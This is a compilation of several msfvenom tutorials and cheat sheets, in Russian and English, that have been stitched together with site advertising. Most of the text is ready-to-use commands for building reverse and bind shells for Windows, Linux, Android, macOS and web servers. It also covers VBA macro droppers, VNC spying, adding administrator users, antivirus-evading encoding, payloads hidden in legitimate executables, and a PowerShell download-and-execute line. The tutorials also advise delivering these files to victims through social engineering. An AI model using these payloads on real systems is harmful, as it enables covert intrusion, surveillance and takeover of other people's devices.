Время на прочтение
8 мин
Количество просмотров 64K
«Голова — лучший антивирус», — эта идея никогда не потеряет актуальности. Для того, чтобы эффективно бороться с компьютерными угрозами, надо знать своих врагов. Среди таких врагов — программы, которые позволяют незаметно подключаться к компьютеру и выполнять с ним некие действия, проще говоря, софт для взлома систем. Полагаем, знание того, как создают подобный софт, хотя бы на базовом уровне, понимание того, как он работает, полезно любому, кого волнуют вопросы компьютерной безопасности. Кроме того, такой софт можно использовать для проверки защищённости собственных систем.
Поэтому сегодня мы решили поделиться с вами переводом материала, автор которого рассказывает о том, как создавать и применять пэйлоады, или полезные нагрузки, предназначенные для удалённого управления различными системами, в частности — Windows, Linux и Android, с использованием msfvenom — инструмента командной строки из пакета Metasploit. Сразу хочется отметить, что к тому, что вы узнаете ниже, стоит относиться с осторожностью, помня о том, что несанкционированное проникновение в чужие системы — это неэтично и незаконно.
Предварительные требования
Для того, чтобы попробовать то, о чём пойдёт речь, на практике, вам понадобится компьютер с установленной на нём Kali Linux, компьютеры под управлением Windows и Linux, Android-смартфон. В процессе работы, при составлении команд, мы будем пользоваться следующими ключами:
- Lhost — IP-адрес компьютера, на котором установлена Kali, то есть — нашей рабочей машины.
- Lport — порт, который назначен серверу — программе, которая «слушает» сеть и ожидает подключения от клиента.
- P — сокращение от «payload», пэйлоад для выбранной платформы
- F — ключ, задающий тип файла, например, exe для Windows, apk для Android, и так далее.
В терминале Kali введём команду msfvenom
. Результаты её работы показаны ниже. А именно, будет выведен список всех доступных опций для создания пэйлоадов. Тут мы рассмотрим лишь некоторые из них.
Организация Bind Shell-подключения
Bind shell — это схема взаимодействия с удалённой консолью, при которой на целевом компьютере запускается сервис, к которому может подключиться атакующий. Фактически, речь идёт о прямом подключении к атакуемому компьютеру. Для того, чтобы создать соответствующий пэйлоад для Windows, нужно выполнить следующую команду в терминале:
msfvenom -p windows/meterpreter/bind_tcp -f exe > /root/Desktop/bind.exe
В результате будет создан exe-файл, который будет сохранён по адресу, указанному при выполнении команды, а именно — это /root/Desktop/bind.exe
. Полученный файл нужно каким-то образом доставить на компьютер жертвы и выполнить его. Например — воспользоваться методами социальной инженерии или выложить его на сервис обмена файлами.
Теперь запустим msfconsole
и введём нижеприведённые команды для того, чтобы открыть сессию:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/bind_tcp
msf exploit(handler) > set rhost IP 192.168.0.100
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
После выполнения файла в нашем распоряжении окажется meterpreter-подключение к целевому компьютеру:
Использованная здесь опция bind_tcp
полезна в тех случаях, когда мы отключаемся от компьютера жертвы, но он при этом ещё работает. Мы можем выполнить ту же команду и подключиться снова, при этом не нужно, чтобы эксплойт снова запускали на удалённом компьютере.
Организация Reverse Shell-подключения
Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером, обратная вышеописанной. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.
Для того, чтобы создать соответствующую полезную нагрузку, нужно ввести в терминале Kali следующую команду:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=5555 -f exe > / root/Desktop/reverse_tcp.exe.
В данном случае мы включаем в команду некоторые новые параметры, такие, как lhost
(локальный хост), lport
(локальный порт) для того, чтобы принять обратное соединение от компьютера жертвы.
После того, как пэйлоад создан, отправлен на атакуемый компьютер и выполнен там, мы переходим ко второму шагу атаки. Запустим msfconsole
и введём следующие команды для того, чтобы организовать подключение удалённого компьютера к нашей машине.
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost IP 192.168.0.107
msf exploit(handler) > set lport 5555
msf exploit(handler) > exploit
На нижеприведённом рисунке видно, что после того, как жертва запустит пэйлоад, выполняется обратное подключение к нашему компьютеру и у нас оказывается сессия meterpreter
.
Организация Reverse HTTPS-подключения
Обратите внимание на то, что обе вышеописанные атаки осуществимы в том случаем, если на машине жертвы имеются подходящие работающие порты. Сейчас мы попытаемся найти выход из ситуации, когда на интересующем нас компьютере порты заблокированы. В подобном случае можно сориентироваться в ситуации и создать пэйлоад, например, воспользовавшись портом 443 для HTTPS. Для этого нужно ввести в терминале Kali следующую команду:
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.0.107 lport=443 -f exe > /root/Desktop/443.exe
После создания пэйлоада и отправки его жертве, которая, как ожидается, рано или поздно запустит соответствующий файл, мы переходим к следующему шагу. Запускаем msfconsole
и вводим следующие команды для организации подключения:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
msf exploit(handler) > set lhost IP 192.168.0.107
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit
Как видно на следующем рисунке, после того, как пэйлоад будет запущен на целевом компьютере, происходит обратное подключение к нашему компьютеру и мы можем пользоваться возможностями сессии meterpreter.
Скрытое Bind Shell-подключение
Исследуем ещё одну возможность msfvenom и попытаемся с её помощью обрести контроль над удалённым компьютером. В этот раз мы хотим заполучить доступ к командной оболочке, а не к сессии meterpreter.
Пэйлоад, который мы создадим нижеприведённой командой, после выполнения, прячется в системе, его нельзя обнаружить сканером портов.
msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=1010 -f exe > /root/Desktop/hidden.exe
После того, как файл готов и отправлен жертве, мы можем перейти к следующему шагу. А именно, воспользуемся Netcat, введя в терминале Kali следующую команду:
nc 192.168.0.100 1010
Reverse Shell-подключение с помощью Netcat
Теперь рассмотрим ещё один подход к использованию пэйлоадов типа shell_reverse_tcp
, которые позволяют получить доступ к оболочке командной строки атакуемого компьютера. Введём в терминале Kali следующую команду:
msfvenom -p windows/shell_reverse_tcp ahost=192.168.0.107 lport=1111-f exe > /root/Desktop/ncshell.exe
После создания файла и отправки его на атакуемый компьютер, создадим прослушиватель порта с использованием netcat
:
nc -lvp 1111
При условии, что наш пэйлоад был успешно выполнен на удалённом компьютере, ниже показано то, как выглядит подключение к нему.
Пэйлоады-макросы на VBA
Создадим пэйлоад в виде VBA-скрипта, который будем использовать в качестве макроса MS Excel для атаки на целевую машину. Для того, чтобы это сделать, выполним следующую команду в терминале Kali:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=7777 -f vba
После выполнения команды, нужно скопировать то, что выделено на рисунке выше, от #if vba 7
до End if
. Далее, откроем файл MS Excel, нажмём Alt+F11
для вызова окна управления макросами.
Тут введём имя макроса и нажмём на кнопку Create
. Макрос мы хотим сохранить в открытой книге, поэтому в соответствующем выпадающем списке надо выбрать This Workbook
.
После этого надо вставить в редакторе VBA ранее скопированный код пэйлоада, закрыть редактор и включить макросы.
Теперь можно заполнить Excel-файл какими-нибудь правдоподобно выглядящими данными, в нашем случае — это просто слово Test
, сохранить и отправить жертве. Для организации подключения к удалённому компьютеру нужно открыть терминал Kali, выполнить команду msfconsole
, после чего ввести следующие команды:
msf > use exploit/multi/handler
msf exploit(handler) > set paylaod windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost=192.168.0.107
msf exploit(handler) > set lport= 7777
msf exploit(handler) > exploit
Когда Excel-файл будет открыт на интересующем нас компьютере, жертве будет предложено включить макросы. После их включения выполнится VBA-скрипт, который создаст обратное подключение к удалённому компьютеру. Выглядеть это будет так, как показано ниже.
VNC-пэйлоад
Хотя и неприлично, без ведома человека, наблюдать за тем, что он делает за компьютером, тот пэйлоад, который мы создадим сейчас, занимается именно этим. Откроем терминал Kali и введём следующую команду:
msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.0.107 lport=5900 -f exe > /root/Desktop/vnc.exe
После создания пэйлоада мы, как обычно, отправляем его жертве, после чего начинаем готовиться к подключению. Для этого вызываем в терминале команду msfconsole
и делаем следующее:
msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set paylaod windows/vncinject/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport= 5900
msf exploit(handler) > exploit
Тут можно видеть, что выполнена VNC-инъекция, что установлено удалённое соединение. Так же на компьютере под управлением Kali откроется окно Remote Desktop.
Пэйлоад для Android
Взлом мобильных устройств всегда привлекал к себе немалое внимание, поэтому рассмотрим методику создания пэйлоадов для платформы Android. Откроем терминал Kali и введём следующую команду:
msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.0.107 lport=8888 > /root/Desktop/file.apk
После подготовки apk-файла его нужно передать на интересующее нас мобильное устройство. Затем нужно подготовиться к подключению на Kali:
msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 8888
msf exploit(handler) > exploit
После того, как пэйлоад будет запущен, в нашем распоряжении будет сессия meterpreter и мы сможем взаимодействовать со взломанным телефоном.
Пэйлоад для Linux
Откроем терминал Kali и введём следующую команду:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f elf > /root/Desktop/shell
После создания файла его нужно отправить на компьютер жертвы и подготовиться к подключению:
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lhost 4444
msf exploit(handler) > run
После выполнения пэйлоада будет создано обратное TCP-подключение к нашему компьютеру, которое предоставит в наше распоряжение сессию meterpreter.
Пэйлоад для PowerShell
Для того, чтобы создать пэйлоад для PowerShell, откроем терминал Kali и введём следующую команду:
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.0.107 lport=4444 > /root/Desktop/shell.bat
Теперь, как обычно, после создания пэйлоада, передадим его на интересующий нас компьютер и подготовимся принять подключение:
msf > use multi/handler
msf exploit(handler) > set payload cmd/windows/reverse_powershell
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
После запуска пэйлоад создаст обратное подключение к оболочке. Выглядит это так, как показано ниже.
Итоги
Как видите, с использованием msfvenom очень просто создавать программы, предназначенные для удалённого подключения к самым разным системам. То, что это доступно даже пользователям с минимальной подготовкой, придаёт особую актуальность правилу, которое знают все, но далеко не все соблюдают: «Не открывайте файлы, в происхождении которых сомневаетесь».
Уважаемые читатели! Известны ли вам случаи взлома систем с использованием пэйлоадов, похожих на те, о которых мы сегодня говорили?
Msfvenom is the combination of payload generation and encoding. It replaced msfpayload and msfencode on June 8th 2015.
To start using msfvenom, first please take a look at the options it supports:
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
How to generate a payload
To generate a payload, there are two flags that you must supply (-p and -f):
- The -p flag: Specifies what payload to generate
To see what payloads are available from Framework, you can do:
The -p flag also supports “-“ as a way to accept a custom payload:
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
- The -f flag: Specifies the format of the payload
Syntax example:
./msfvenom -p windows/meterpreter/bind_tcp -f exe
To see what formats are supported, you can do the following to find out:
./msfvenom --help-formats
Typically, this is probably how you will use msfvenom:
$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe
How to encode a payload
By default, the encoding feature will automatically kick in when you use the -b flag (the badchar flag). In other cases, you must use the -e flag like the following:
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
To find out what encoders you can use, you can use the -l flag:
You can also encode the payload multiple times using the -i flag. Sometimes more iterations may help avoiding antivirus, but know that encoding isn’t really meant to be used a real AV evasion solution:
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
How to avoid bad characters
The -b flag is meant to be used to avoid certain characters in the payload. When this option is used, msfvenom will automatically find a suitable encoder to encode the payload:
./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw
How to supply a custom template
By default, msfvenom uses templates from the msf/data/templates directory. If you’d like to choose your own, you can use the -x flag like the following:
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
Please note: If you’d like to create a x64 payload with a custom x64 custom template for Windows, then instead of the exe format, you should use exe-only:
./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe
The -x flag is often paired with the -k flag, which allows you to run your payload as a new thread from the template. However, this currently is only reliable for older Windows machines such as x86 Windows XP.
How to chain msfvenom output
The old msfpayload
and msfencode
utilities were often chained together in order layer on multiple encodings. This is possible using msfvenom
as well:
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
./msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \
./msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe
Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More
There are tons of cheatsheets out there, but I couldn’t find a comprehensive one that includes non-Meterpreter shells. I will include both Meterpreter, as well as non-Meterpreter shells for those studying for OSCP.
Table of Contents:
– Non Meterpreter Binaries
– Non Meterpreter Web Payloads
– Meterpreter Binaries
– Meterpreter Web Payloads
Non-Meterpreter Binaries
Staged Payloads for Windows
x86 | msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe |
x64 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe |
Stageless Payloads for Windows
x86 | msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe |
x64 | msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe |
Staged Payloads for Linux
x86 | msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf |
x64 | msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf |
Stageless Payloads for Linux
x86 | msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf |
x64 | msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf |
Non-Meterpreter Web Payloads
asp | msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp |
jsp | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp |
war | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war |
php | msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php |
Meterpreter Binaries
Staged Payloads for Windows
x86 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe |
x64 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe |
Stageless Payloads for Windows
x86 | msfvenom -p windows/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe |
x64 | msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe |
Staged Payloads for Linux
x86 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf |
x64 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf |
Stageless Payloads for Linux
x86 | msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf |
x64 | msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf |
Meterpreter Web Payloads
asp | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp |
jsp | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > example.jsp |
war | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > example.war |
php | msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php |
Donations and Support:
Like my content? Please consider supporting me on Patreon:
https://www.patreon.com/infinitelogins
Purchase a VPN Using my Affiliate Link
https://www.privateinternetaccess.com/pages/buy-vpn/infinitelogins
👇 SUBSCRIBE TO INFINITELOGINS YOUTUBE CHANNEL NOW 👇
https://www.youtube.com/c/infinitelogins?sub_confirmation=1
В сегодняшней статье я покажу, как использовать MSFVenom. Вы узнаете, как создать полезную нагрузку (Payload) в MSFVenom. Также, приведу список всех команд MSFVenom.
Еще по теме: Как использовать фреймворк Metasploit
Что такое MSFVenom
MSFVenom — бесплатный инструмент для создания полезной нагрузки (вредоносного файла). Это, так сказать, двоюродный брат Metasploit. С его помощью вы можете создавать различные полезные нагрузки, шелл-код и обратный шелл.
В далеком 2015 году он заменил инструменты MSFPayload и MSFEncode.
В новой версии MSFVenom появилась справка. Чтобы отобразить справку введите:
Как использовать MSFVenom
Reverse TCP (обратное подключение, обратный шелл, пейлоад), — схема взаимодействия с целевым компьютером. Говоря простым языком. Мы создаем вредоносный файл (полезную нагрузку), после запуска которого целевой компьютер будет пытаться подключиться к нашему компьютеру. Это называется «бэкконнект» или в нашем случае обратный шелл, потому что «бэкконнект» — это понятие растяжимое.
Чтобы узнать, какие полезные нагрузки доступны введите команду:
msf5> msfvenom —l payloads |
Или так:
Следующая команда создаст вредоносный исполняемый файл (обратный шелл), после запуска которого откроется сеанс Meterpreter.
- LHOST — IP-адрес вашего компьютера (атакующего).
- LPORT — порт вашего компьютера, который назначен серверу или программе.
- P — сокращение от «payload», полезная нагрузка для выбранной платформы.
- F — параметр, который задает тип файла, например, exe для Windows.
msfvenom —p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.13 LPORT=4444 —f exe —a x64 —o /home/infosecaddicts/infoecaddicts.exe |
Полезная нагрузка готова:
Мы создали пэйлоад, теперь переходим к следующему этапу. Запускаем
msfconsole и вводим команды:
msf> use exploit/multi/handler msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp msf> set LHOST 192.168.1.13 msf> set LPORT 4444 msf> run |
Необходимо ввести те же данные (IP-адрес и порт), которые были использованы при создании обратного шелла.
Этой операцией мы позволяем принять подключение от созданного нами ранее обратного шелла, который запустит жертва.
После создания вредоносного файла необходимо отправить его жертве. Вы можете использовать методы социальной инженерии или любой другой способ доставки вредоносного файла.
После запуска созданного файла откроется сессия Meterpreter:
Поздравляю, вы получили доступ к компьютеру.
Команды MSFVenom
При использовании MSFVenom всегда должна быть под рукой шпаргалка по командам:
Meterpreter reverse shell x86 multi stage
msfvenom —p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT —f elf > shell.elfLinux |
Linux Meterpreter bind shell x86 multi stage
msfvenom —p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT —f elf > shell.elf |
Linux bind shell x64 single stage
msfvenom —p linux/x64/shell_bind_tcp RHOST=IP LPORT=PORT —f elf > shell.elf |
Linux reverse shell x64 single stage
msfvenom —p linux/x64/shell_reverse_tcp RHOST=IP LPORT=PORT —f elf > shell.elf |
Windows Meterpreter reverse shell
msfvenom —p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT —f exe > shell.exe |
Windows Meterpreter bind shell
msfvenom —p windows/meterpreter/bind_tcp RHOST= IP LPORT=PORT —f exe > shell.exe |
Windows CMD Multi Stage
msfvenom —p windows/shell/reverse_tcp LHOST=IP LPORT=PORT —f exe > shell.exe |
Windows CMD Single Stage
msfvenom —p windows/shell_reverse_tcp LHOST=IP LPORT=PORT —f exe > shell.exe |
Windows add user
msfvenom —p windows/adduser USER=hacker PASS=password —f exe > useradd.exe |
Mac Reverse Shell
msfvenom —p osx/x86/shell_reverse_tcp LHOST=IP LPORT=PORT —f macho > shell.macho |
Mac Bind shell
msfvenom —p osx/x86/shell_bind_tcp RHOST=IP LPORT=PORT —f macho > shell.macho |
Python Shell
msfvenom —p cmd/unix/reverse_python LHOST=IP LPORT=PORT —f raw > shell.py |
BASH Shell
msfvenom —p cmd/unix/reverse_bash LHOST=IP LPORT=PORT —f raw > shell.sh |
PERL Shell
msfvenom —p cmd/unix/reverse_perl LHOST=IP LPORT=PORT —f raw > shell.pl |
ASP Meterpreter shell
msfvenom —p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT —f asp > shell.asp |
JSP Shell
msfvenom —p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT —f raw > shell.jsp |
WAR Shell
msfvenom —p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT —f war > shell.war |
PHP Reverse Shell
msfvenom —p php/reverse_php LHOST=IP LPORT=PORT —f raw > phpreverseshell.php |
Мы создали полезную нагрузку для Windows, но мы можем создать пейлоад для любой другой операционной системы, например: Android, iOS, Liniux и т. д. Все это позволяет сделать MSFVenom.
На этом все. Теперь вы знаете, как использовать MSFVenom.
Еще по теме: Анонимность в Kali Linux с помощью Tor и Proxychains
-
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the
SUBSCRIPTION PLANS
!
HackenProof is home to all crypto bug bounties.
Get rewarded without delays
HackenProof bounties launch only when their customers deposit the reward budget. You’ll get the reward after the bug is verified.
Get experience in web3 pentesting
Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
Become the web3 hacker legend
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>
One can also use the -a
to specify the architecture or the --platform
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
Common params when creating a shellcode
Common params when creating a shellcode
-e x86/shikata_ga_nai -i 5
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
msfvenom -a x86 —platform Windows -p windows/exec CMD=«powershell \»IEX(New-Object Net.webClient).downloadString(‘http://IP/nishang.ps1’)\»« -f exe > pay.exe
msfvenom -a x86 —platform Windows -p windows/exec CMD=«net localgroup administrators shaun /add» -f exe > pay.exe
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
Embedded inside executable
Embedded inside executable
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
msfvenom —platform=solaris —payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b ‘\x00’ > solshell.elf
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo ‘<?php ‘ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
HackenProof is home to all crypto bug bounties.
Get rewarded without delays
HackenProof bounties launch only when their customers deposit the reward budget. You’ll get the reward after the bug is verified.
Get experience in web3 pentesting
Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
Become the web3 hacker legend
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
-
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the
SUBSCRIPTION PLANS
!